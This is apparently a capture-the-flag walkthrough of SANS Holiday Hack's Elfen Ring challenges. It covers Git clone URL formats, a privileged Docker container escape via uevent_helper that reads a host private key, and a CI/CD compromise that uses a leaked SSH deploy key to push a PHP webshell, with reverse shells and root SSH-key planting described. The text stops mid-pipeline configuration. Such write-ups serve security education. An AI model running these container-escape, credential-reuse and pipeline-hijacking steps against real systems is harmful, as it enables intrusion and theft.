Holiday Hack 2023: Elfen Ring
Orienting
Another level down, Morcel Nougat is standing outside the door to the Elfen Ring with some background about the Flobbits:
Hello, I’m Morcel Nougat, elf extraordinaire!
I was in the first group of elves that started digging into the snow.
Eventually, we burrowed deep enough that we came upon an already existing tunnel network.
As we explored it, we encountered a people that claimed to be the Flobbits.
We were all astonished, because we learn a little about the Flobbits in history class, but nobody’s ever seen them.
They were part of the Great Schism hundreds of years ago that split the Munchkins and the Elves.
Not much else was known, until we met them in the tunnels! Turns out, their exodus took them to Middle Earth.
They only appear when the 5 Rings are in jeopardy. Though, the Rings weren’t lost until after we started digging. Hmm…
Anyways, be careful as you venture down further. I hear something sinister is in the depths of these tunnels.
Inside the Elfen Ring, I’ll head down stairs and into a boat, sailing right to find the next objective.
Clone with a Difference
Challenge
Bow Ninecandle is standing on a platform in the water with a Cranberry Pi:
Well hello! I’m Bow Ninecandle!
Have you ever used Git before? It’s so neat!
It adds so much convenience to DevOps, like those times when a new person joins the team.
They can just clone the project, and start helping out right away!
Speaking of, maybe you could help me out with cloning this repo?
I’ve heard there’s multiple methods, but I only know how to do one.
If you need more help, check out the panel of very senior DevOps experts.
Talking to Bow unlocks a hint:
- There’s a consistent format for Github repositories cloned via HTTPS. Try converting!
The terminal presents a simple challenge:
Solution
Initial Fail
The obvious command to run here is the one given at the start, git clone
, but it fails:
bow@618343435e67:~$ git clone git@haugfactory.com:asnowball/aws_scripts.git
Cloning into 'aws_scripts'...
The authenticity of host 'haugfactory.com (34.171.230.38)' can't be established.
ECDSA key fingerprint is SHA256:Fl5+9aQdPLDQ/CZsSc8Y+fLim4ePgIvxWIbXRwxAu6w.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'haugfactory.com,34.171.230.38' (ECDSA) to the list of known hosts.
git@haugfactory.com: Permission denied (publickey).
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
Git URL Analysis
There are two formats of URLs offered by a typical Git-hosting site. For example, on the Gitlab page for my Advent of Code 2022 solutions, clicking the Clone button shows them:
SSH takes the format git@[server]:[user]/[repo name].git
. HTTPS takes the format https://[server]/[user]/[repo name]
.
So with the given URL, git@haugfactory.com:asnowball/aws_scripts.git
, I can get the following:
- Server:
haugfactory.com
- User: asnowball
- Repo Name:
aws_scripts
Anonymous Clone
To clone a public repo without having an SSH key associated with permissions on the repo, you need to use the HTTPS URL. I can build that from the pieces above, and clone the repo:
bow@f6fa6427de6d:~$ git clone http://haugfactory.com/asnowball/aws_scripts
Cloning into 'aws_scripts'...
warning: redirecting to https://haugfactory.com/asnowball/aws_scripts.git/
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Unpacking objects: 100% (64/64), 23.83 KiB | 1.25 MiB/s, done.
To solve the challenge, I need the last word of README.md
:
bow@f6fa6427de6d:~$ cd aws_scripts/
bow@f6fa6427de6d:~/aws_scripts$ tail -1 README.md
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
Giving runtoanswer
“maintainers” solves the task:
bow@f6fa6427de6d:~/aws_scripts$ runtoanswer
Read that repo!
What's the last word in the README.md file for the aws_scripts repo?
> maintainers
Your answer: maintainers
Checking......
Your answer is correct!
Web
I could also visit the repo in a web browser. Interestingly, visiting https://haugfactory.com/asnowball/aws_scripts redirects to https://haugfactory.com/orcadmin/aws_scripts with a message a the top:
It seems that the user was moved (or renamed). Still, I can see the README.md
file, and the last word at the end:
Prison Escape
Hints
The next objective is to talk to Bow Ninecandle. Bow is impressed, and offers hints for the next challenge:
Wow - great work! Thank you!
Say, if you happen to be testing containers for security, there are some things you should think about.
Developers love to give ALL TeH PERMz so that things “just work,” but it can cause real problems.
It’s always smart to check for excessive user and container permissions.
You never know! You might be able to interact with host processes or filesystems!
He also unlocks two hints in the badge:
- When users are over-privileged, they can often act as root. When containers have too many permissions, they can affect the host!
- Were you able to
mount
up? If so, users’home/
directories can be a great place to look for secrets…
And completes the task:
Challenge
At the end of the water, there’s an Elf house, and Tinsel Upatree is on the first floor by a computer:
Hiya hiya, I’m Tinsel Upatree!
Check me out, I’m working side-by-side with a real-life Flobbit. Epic!
Anyway, would ya’ mind looking at this terminal with me?
It takes a few seconds to start up, but then you’re logged into a super secure container environment!
Or maybe it isn’t so secure? I’ve heard about container escapes, and it has me a tad worried.
Do you think you could test this one for me? I’d appreciate it!
The computer presents a terminal:
It’s also important to note the task as described in the badge:
Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file
/home/jailer/.ssh/jail.key.priv
?
Solution
Get Root
The terminal is running as samways:
grinchum-land:~$ id
uid=1000(samways) gid=1000(users) groups=1000(users)
To get out of a container, it’ll be really helpful to have root. A lot of times docker containers run as root, but that’s not the case here.
Luckily, samways can run any command as root without a password with sudo
:
grinchum-land:~$ sudo -l
User samways may run the following commands on grinchum-land:
(ALL) NOPASSWD: ALL
sudo -i
will return a root shell:
grinchum-land:~$ sudo -i
grinchum-land:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Enumerate Container
To see that I’m in a Docker container, I’ll look at the filesystem root and note the .dockerenv
file:
The article from the hint suggests looking at /proc/1/cgroup
, and noting that almost everything has “docker” in it:
grinchum-land:~# cat /proc/1/cgroup
11:pids:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
10:hugetlb:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
9:cpu,cpuacct:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
8:devices:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
7:cpuset:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
6:blkio:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
5:freezer:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
4:net_cls,net_prio:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
3:memory:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
2:perf_event:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
1:name=systemd:/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
0::/docker/75cd32d86aba4c284a6ff2db0c7e3ea9603bcffaafbcdd026c45f0b04934f239
Enumerate Privilege
To understand the privileges in the current container, I’ll look at the capabilities of the primary process (or really any process, as shown below with $$
being the current pid):
grinchum-land:~# cat /proc/1/status | grep "CapEff:"
CapEff: 0000003fffffffff
grinchum-land:~# cat /proc/$$/status | grep "CapEff:"
CapEff: 0000003fffffffff
capsh
has a decode feature to show what that bitmask of hex values translates to, but it’s not installed on this container. I’ll go to my VM and run it:
cap_sys_admin
is the one we’ll look to exploit here. It comes with the --privileged
flag in Docker.
Strategy
The exploit is described in the snyk article, and I have a post from April 2021 going in depth on how cgroups and overlayfs allow for this escape. At a high level, as a privileged user with cap_sys_admin
, I can use the “notification on release” feature to run commands on the host when certain triggers happen.
I’ll write a script that I want the host to run, and save it in the root of the container.
I’ll find the path on the host that corresponds to that script on the host. Overlayfs is storing the container filesystem in the main host filesystem.
I’ll set the event helper to call the full path to the script from the host’s perspective, and then trigger it, and the host will run it.
Find Host Path
To start, I’ll find the path on the host the maps the the root of the filesystem in this container. The article gives this command:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
It’s storing the result as $host_path
, which will be useful later. But to understand what it’s doing, I’ll start by running it:
grinchum-land:~$ sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
/var/lib/docker/overlay2/8492365d43316267f04b93ed629cb35f4ca251ea3337376ed83b1c5c43cf8fb7/diff
So container filesystem is in this dir in /var/lib/docker/
. The mtab
file contains the currently mounted file systems. In this case, it’s this line that defines what is mounted on /
in the container:
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/2NHM4GJLLWJYJAIKBSNL476WOI:/var/lib/docker/overlay2/l/L3DB2P7YRANZED2VRFY5Z6VCSO:/var/lib/docker/overlay2/l/DZTMUJS7BEP3NXH4OUBL7IRX77:/var/lib/docker/overlay2/l/JSIRGTYDJ2QVIZQ7DXQOKEGRXC:/var/lib/docker/overlay2/l/NP4IQ3NNEFZDIJYKXCGU6KLASO:/var/lib/docker/overlay2/l/MPTJ5KDB7OSHRTQBDGMNVYYE6G:/var/lib/docker/overlay2/l/JTKQZYIF4IVPGZLF42ASVYS6ED:/var/lib/docker/overlay2/l/D2XEAAII2KRGS5CAGZSQYYWOMG:/var/lib/docker/overlay2/l/AP4XKKZV6AGMXCXXZBLTKC4TEW:/var/lib/docker/overlay2/l/4II5CANLQTICUPZWAUEASK6Z67,upperdir=/var/lib/docker/overlay2/8492365d43316267f04b93ed629cb35f4ca251ea3337376ed83b1c5c43cf8fb7/diff,workdir=/var/lib/docker/overlay2/8492365d43316267f04b93ed629cb35f4ca251ea3337376ed83b1c5c43cf8fb7/work 0 0
Script
I’ll place the script in the root of the container filesystem as 0xdf.sh
:
#!/bin/sh
cat /home/jailer/.ssh/jail.key.priv > /var/lib/docker/overlay2/8492365d43316267f04b93ed629cb35f4ca251ea3337376ed83b1c5c43cf8fb7/diff/out.txt
From the perspective of a process running on the host, this will cat the file I’m looking for into a file that also happens to be visible from within the container.
I’ll make that executable:
grinchum-land:/# chmod +x 0xdf.sh
Set Helper and Trigger
I’ll set the helper by writing the script path into the /sys/kernel/uevent_helper
file (and verify it works):
grinchum-land:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
grinchum-land:/# echo "$host_path/0xdf.sh" > /sys/kernel/uevent_helper
grinchum-land:/# cat /sys/kernel/uevent_helper
/var/lib/docker/overlay2/8492365d43316267f04b93ed629cb35f4ca251ea3337376ed83b1c5c43cf8fb7/diff/0xdf.sh
To trigger it, I’ll write “change” to /sys/class/mem/null/uevent
:
grinchum-land:/# echo change > /sys/class/mem/null/uevent
The out.txt
file exists, and has the flag:
Congratulations!
You've found the secret for the
HHC22 container escape challenge!
.--._..--.
___ ( _'-_ -_.'
_.-' `-._| - :- |
_.-' `--...__|
.-' '--..___
/ `._ \
`. `._ one |
`. `._ /
'. `._ :__________....-----'
`..`---' |-_ _- |___...----..._
|_....--' `.`.
_...--' `.`.
_..-' _.'.'
.-' step _.'.'
| _.'.'
| __....------'-'
| __...------''' _|
'--''' |- - _ |
_.-''''''''''''''''''-._
_.' |\
.' _.' |
`._ closer |:.'
`._ _.' |
`..__ | |
`---.._.--. _| |
| _ - | `-.._|_.'
.--...__ | - _|
.'_ `--.....__ |
.'_ `--..__
.'_ `.
.'_ 082bb339ec19de4935867 `-.
`--..____ _`.
```--...____ _..--'
| - _ ```---.._.'
| - _ |
|_ - - |
| - _ |
| -_ -_|
| - _ |
| - _ |
| -_ -_|
I’ll submit the hex string “082bb339ec19de4935867” into the badge and complete the task:
Jolly CI/CD
Hints
The next objective is to talk to Tinsel Upatree. Tinsel is grateful, and gives the next challenge, which has to do with CI/CD:
Great! Thanks so much for your help!
Now that you’ve helped me with this, I have time to tell you about the deployment tech I’ve been working on!
Continuous Integration/Continuous Deployment pipelines allow developers to iterate and innovate quickly.
With this project, once I push a commit, a GitLab runner will automatically deploy the changes to production.
WHOOPS! I didn’t mean to commit that to
http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
…Unfortunately, if attackers can get in that pipeline, they can make an awful mess of things!
This completes that task:
It also unlocks two hints in the badge:
- The thing about Git is that every step of development is accessible – even steps you didn’t mean to take!
git log
can show code skeletons.- If you find a way to impersonate another identity, you might try re-cloning a repo with their credentials.
Challenge
Rippin Proudboot is up a level next to another computer, and doesn’t think I have what it takes to help:
Yes, hello, I’m Rippin Proudboot. Can I help you?
Oh, you’d like to help me? Well, I’m not quite sure you can, but we shall see.
The elves here introduced me to this new CI/CD technology. It seems quite efficient.
Unfortunately, the sporcs seem to have gotten their grubby mits on it as well, along with the Elfen Ring.
They’ve used CI/CD to launch a website, and the Elfen Ring to power it.
Might you be able to check for any misconfigurations or vulnerabilities in their CI/CD pipeline?
If you do find anything, use it to exploit the website, and get the ring back!
The badge has a field for input, but it doesn’t say much about what it’s looking for other than “Exploit a CI/CD pipeline”.
The computer presents a terminal with more instructions:
Greetings Noble Player,
Many thanks for answering our desperate cry for help!
You may have heard that some evil Sporcs have opened up a web-store selling counterfeit banners and flags of the many noble houses found in the land of the North! They have leveraged some dastardly technology to power their storefront, and this technology is known as PHP!
gasp
This strorefront utilizes a truly despicable amount of resources to keep the website up. And there is only a certain type of Christmas Magic capable of powering such a thing… an Elfen Ring!
Along with PHP there is something new we’ve not yet seen in our land. A technology called Continuous Integration and Continuous Deployment!
Be wary!
Many fair elves have suffered greatly but in doing so, they’ve managed to secure you a persistent connection on an internal network.
BTW take excellent notes!
Should you lose your connection or be discovered and evicted the elves can work to re-establish persistence. In fact, the sound off fans and the sag in lighting tells me all the systems are booting up again right now.
Please, for the sake of our Holiday help us recover the Ring and save Christmas!
Solution
Get Repo
Tinsel gave me a Git repo and implied there was something in it that shouldn’t be. The server is at gitlab.flag.net.internal
, which isn’t a host I can reach from my machine, but only in this terminal:
grinchum-land:~$ ping -c 2 gitlab.flag.net.internal
PING gitlab.flag.net.internal (172.18.0.150): 56 data bytes
64 bytes from 172.18.0.150: seq=0 ttl=42 time=0.086 ms
64 bytes from 172.18.0.150: seq=1 ttl=42 time=0.103 ms
--- gitlab.flag.net.internal ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.086/0.094/0.103 ms
I’ll clone the Wordpress repo to the current home directory:
grinchum-land:~$ git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
Cloning into 'wordpress.flag.net.internal'...
remote: Enumerating objects: 10195, done.
remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195
Receiving objects: 100% (10195/10195), 36.49 MiB | 23.58 MiB/s, done.
Resolving deltas: 100% (1799/1799), done.
Updating files: 100% (9320/9320), done.
grinchum-land:~$ ls
wordpress.flag.net.internal
Examine Commit History
In that folder, I can interact with the repo using the git
command:
grinchum-land:~$ cd wordpress.flag.net.internal/
grinchum-land:~/wordpress.flag.net.internal$ git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean
git
stores its data in a hidden folder, .git
, and git
interacts with the information it needs in there to run commands. For example, git status
show the current status:
grinchum-land:~/wordpress.flag.net.internal$ ls -ld .git
drwxr-xr-x 8 samways users 4096 Jan 4 16:59 .git
grinchum-land:~/wordpress.flag.net.internal$ git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean
To see the commit history, I’ll use git log
:
grinchum-land:~/wordpress.flag.net.internal$ git log --oneline
37b5d57 (HEAD -> main, origin/main, origin/HEAD) updated wp-config
a59cfe8 update gitlab.ci.yml
a968d32 test
7093aad add gitlab-ci
e2208e4 big update
e19f653 whoops
abdea0e added assets
a7d8f4d init commit
“whoops” seems like it’s cleaning up a mistake. I’ll compare it to the previous commit with git diff
:
grinchum-land:~/wordpress.flag.net.internal$ git diff abdea0e e19f653
diff --git a/.ssh/.deploy b/.ssh/.deploy
deleted file mode 100644
index 3f7a9e3..0000000
--- a/.ssh/.deploy
+++ /dev/null
@@ -1,7 +0,0 @@
------BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
-9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
-AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
-PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
------END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
deleted file mode 100644
index 8c0b43c..0000000
--- a/.ssh/.deploy.pub
+++ /dev/null
@@ -1 +0,0 @@
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com
It looks like a pair of SSH keys were removed in the “whoops” commit (likely added in the previous on).
Get Write Access
With the current HTTPS access to the repo, I can’t write to it. For example, I’ll add a file:
grinchum-land:~/wordpress.flag.net.internal$ touch 0xdf.php
grinchum-land:~/wordpress.flag.net.internal$ git add 0xdf.php
To commit this, I’ll have to configure my name and email:
grinchum-land:~/wordpress.flag.net.internal$ git commit -m "added file"
Author identity unknown
*** Please tell me who you are.
Run
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
to set your account's default identity.
Omit --global to set the identity only in this repository.
fatal: empty ident name (for <samways@grinchum-land.flag.net.internal>) not allowed
Easy enough:
grinchum-land:~/wordpress.flag.net.internal$ git config --global user.email "samways@grinchum-land.flag.net.internal"
grinchum-land:~/wordpress.flag.net.internal$ git config --global user.name "samways"
Now I can commit to the local repo:
grinchum-land:~/wordpress.flag.net.internal$ git commit -m "added file"
[main ef1e009] added file
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 0xdf.php
But if I try to update the remote version, it asks for a username and password:
grinchum-land:~/wordpress.flag.net.internal$ git push
Username for 'http://gitlab.flag.net.internal':
But, I have this SSH key now. It’s possible that that key is what’s used to auth to this repo. I’ll save it as id_rsa
in my home .ssh
directory (remembering to remove the extra -
at the start of each line):
grinchum-land:~/wordpress.flag.net.internal$ mkdir ~/.ssh
grinchum-land:~/wordpress.flag.net.internal$ vim ~/.ssh/id_rsa
grinchum-land:~/wordpress.flag.net.internal$ chmod 600 ~/.ssh/id_rsa
It’s possible to update the current version and how it connects, but I’ll just remove it and re-clone it using SSH:
grinchum-land:~$ rm -rf wordpress.flag.net.internal/
grinchum-land:~$ git clone git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
Cloning into 'wordpress.flag.net.internal'...
The authenticity of host 'gitlab.flag.net.internal (172.18.0.150)' can't be established.
ED25519 key fingerprint is SHA256:jW9axa8onAWH+31D5iHA2BYliy2AfsFNaqomfCzb2vg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gitlab.flag.net.internal' (ED25519) to the list of known hosts.
remote: Enumerating objects: 10195, done.
remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195
Receiving objects: 100% (10195/10195), 36.49 MiB | 18.54 MiB/s, done.
Resolving deltas: 100% (1799/1799), done.
Updating files: 100% (9320/9320), done.
This used the key to get access. Now I can write changes back to the server:
grinchum-land:~/wordpress.flag.net.internal$ touch 0xdf.txt
grinchum-land:~/wordpress.flag.net.internal$ git add 0xdf.txt
grinchum-land:~/wordpress.flag.net.internal$ git commit -m "touched"
[main 1764ff6] touched
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 0xdf.txt
grinchum-land:~/wordpress.flag.net.internal$ git push
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 275 bytes | 275.00 KiB/s, done.
Total 3 (delta 1), reused 1 (delta 0), pack-reused 0
To gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
37b5d57..1764ff6 main -> main
CI/CD Analysis
In the root of the repo, there’s a .gitlab-ci.yml
file. This file defines what CI/CD pipelines a Gitlab instance will run on various commits. This website runs on Gitlab, and uses this same process. In my case, it takes the markdown files I write, and uses Jekyll to turn them into a static HTML site, and then passes that to gitlab.io to host. The pipelines look like (I’ve made mine more complex than is strictly necessary to get experience with the technology):
In this container, there’s only one stage:
stages:
- deploy
deploy-job:
stage: deploy
environment: production
script:
- rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html
It’s called deploy
, and it will run rsync
to send the files to /var/www/html
on the hosting machine. So basically, on each commit, it updates the production webserver with the new code.
Webshell on WordPress
I’ll add a simple webshell to the top of index.php
:
Now I’ll add this change to the repo, and push it:
grinchum-land:~/wordpress.flag.net.internal$ git add index.php
grinchum-land:~/wordpress.flag.net.internal$ git commit -m "hacked!"
[main 9eb15f5] hacked!
1 file changed, 1 insertion(+)
grinchum-land:~/wordpress.flag.net.internal$ git push
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 325 bytes | 325.00 KiB/s, done.
Total 3 (delta 2), reused 0 (delta 0), pack-reused 0
To gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
1764ff6..9eb15f5 main -> main
After a few seconds, I’ll test the webshell, and it works:
grinchum-land:~/wordpress.flag.net.internal$ curl wordpress.flag.net.internal/index.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
There’s a flag.txt
in the root:
grinchum-land:~/wordpress.flag.net.internal# curl wordpress.flag.net.internal/index.php?cmd=ls+-la+/
total 84
drwxr-xr-x 1 root root 4096 Dec 9 17:22 .
drwxr-xr-x 1 root root 4096 Dec 9 17:22 ..
-rwxr-xr-x 1 root root 0 Dec 9 17:22 .dockerenv
drwxr-xr-x 1 root root 4096 Oct 25 13:35 bin
drwxr-xr-x 2 root root 4096 Sep 3 12:10 boot
drwxr-xr-x 5 root root 340 Dec 9 17:22 dev
drwxr-xr-x 1 root root 4096 Dec 9 17:22 etc
-rw-r--r-- 1 www-data www-data 7575 Oct 22 16:40 flag.txt
...[snip]...
Reading it gives a hex string that will solve the challenge:
grinchum-land:~/wordpress.flag.net.internal# curl wordpress.flag.net.internal/index.php?cmd=cat+/flag.txt
Congratulations! You've found the HHC2022 Elfen Ring!
░░░░ ░░░░
░░ ░░░░
░░ ░░░░
░░
░░ ░░░░
░░
░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░ ░░
░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░ ░░
░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒ ░░
░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░ ▓▓▓▓▓▓▓▓▒▒░░░░ ░░░░
░░ ░░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▒▒░░ ░░░░
░░▒▒▓▓▓▓▓▓ ▓▓▒▒▒▒░░ ░░░░
▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░ ░░░░
░░ ▒▒▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒
░░▒▒▓▓▓▓░░ ░░▒▒▒▒░░░░ ░░░░▒▒
░░▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒
░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒
░░ ░░▓▓▓▓▓▓ ▒▒▒▒░░░░ ░░▒▒▒▒
░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒
▒▒▓▓▓▓ ▒▒░░░░░░ ░░▒▒▒▒
░░ ░░▓▓▓▓▒▒ ▒▒░░░░░░ ░░▒▒▒▒▓▓
░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓
░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓
░░ ▒▒▓▓▓▓ oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT ░░░░░░░░ ░░▒▒▒▒▓▓
░░░░ ▒▒▓▓▓▓ ░░░░ ░░░░░░▒▒▒▒▓▓
░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓
▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓
▒▒░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓
▓▓░░░░ ░░▓▓▓▓▒▒ ░░ ░░░░▒▒▒▒▓▓▓▓
▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓
▒▒░░░░ ░░▓▓▓▓ ░░ ░░░░▒▒▒▒▓▓▓▓
▓▓▒▒░░ ░░▒▒▓▓▓▓ ░░ ░░▒▒▒▒▒▒▓▓▓▓
▓▓▒▒░░░░ ▒▒▒▒▓▓ ░░░░▒▒▒▒▒▒▓▓▓▓
▒▒▒▒░░░░ ▒▒▒▒▒▒▒▒ ░░▒▒▒▒▒▒▒▒▓▓
▓▓▒▒░░░░ ░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓
▒▒▒▒░░░░ ░░▒▒▒▒▒▒▒▒ ░░ ░░░░▒▒▒▒▒▒▒▒▓▓
▓▓▒▒░░░░ ░░░░░░░░▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓
▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓
▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒ ░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓
▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓
▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓
▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░ ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓
██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████
████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████
░░░░░░░░▓▓██████████████████░░░░░░░░
This hex string will complete the task:
Extras
Shell on WordPress
I can get a shell from the webshell. I’ll start tmux
so I can get multiple terminals. Ctrl-B then "
will split a second pane, and I can use Ctrl-B and then up or down arrow to move between them. In the first, I’ll start nc
listening on 443.
In the second, I’ll run a Bash reverse shell (explained here) via {the webshell. There’s a connection and an interactive shell at nc
:
Shell in Runner
I can also get a shell on the container that builds the site by modifying the stage scripts to run something malicious. For example, a reverse shell:
I’ll save, add, and commit that, and after a bit, I get a reverse shell in the runner:
The repo is copied into /home/gitlab-runner/builds/[random string]/0/rings-of-powder/wordpress.flag.net.internal
, and that’s where the build jobs take place. There’s nothing else interesting in this container, as it just comes into existence to get a copy of the repo, perform some job, and exit.
Alternative Shell on WordPress
A neat way to get the flag combines the two above (originally tipped to me by Sebh24). I know that the runner system can SSH into root@wordpress.flag.net.internal
using a key stored in /etc/gitlab-runner/
based on the existing pipeline. I’ll have the runner SSH into that machine, and write my SSH key into root’s authorized_keys
file.
I’ll generate a SSH key pair (I like ed25519, as they are short):
grinchum-land:~/wordpress.flag.net.internal$ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/samways/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/samways/.ssh/id_ed25519
Your public key has been saved in /home/samways/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:fWP5BW9UjzN+mto5b3xfJ8AAtkhdp5rKbsE6/dlyDHw samways@grinchum-land.flag.net.internal
The key's randomart image is:
+--[ED25519 256]--+
| ..o.. . .|
| . o.o o .o|
| . . o = o|
| + o o * |
| . .S . B . =|
| .o.o Eo + * |
| oo. + =.o|
| o.o .oo o.o*|
| o..oo. . o+=|
+----[SHA256]-----+
grinchum-land:~$ cat ~/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTykIwKhGU+HmnwfRQ/aPyjQuyQ541RNE0Ml4wSEYZh samways@grinchum-land.flag.net.internal
Now I’ll update the CI/CD to write that public key into root’s authorized_keys
:
stages:
- deploy
deploy-job:
stage: deploy
environment: production
script:
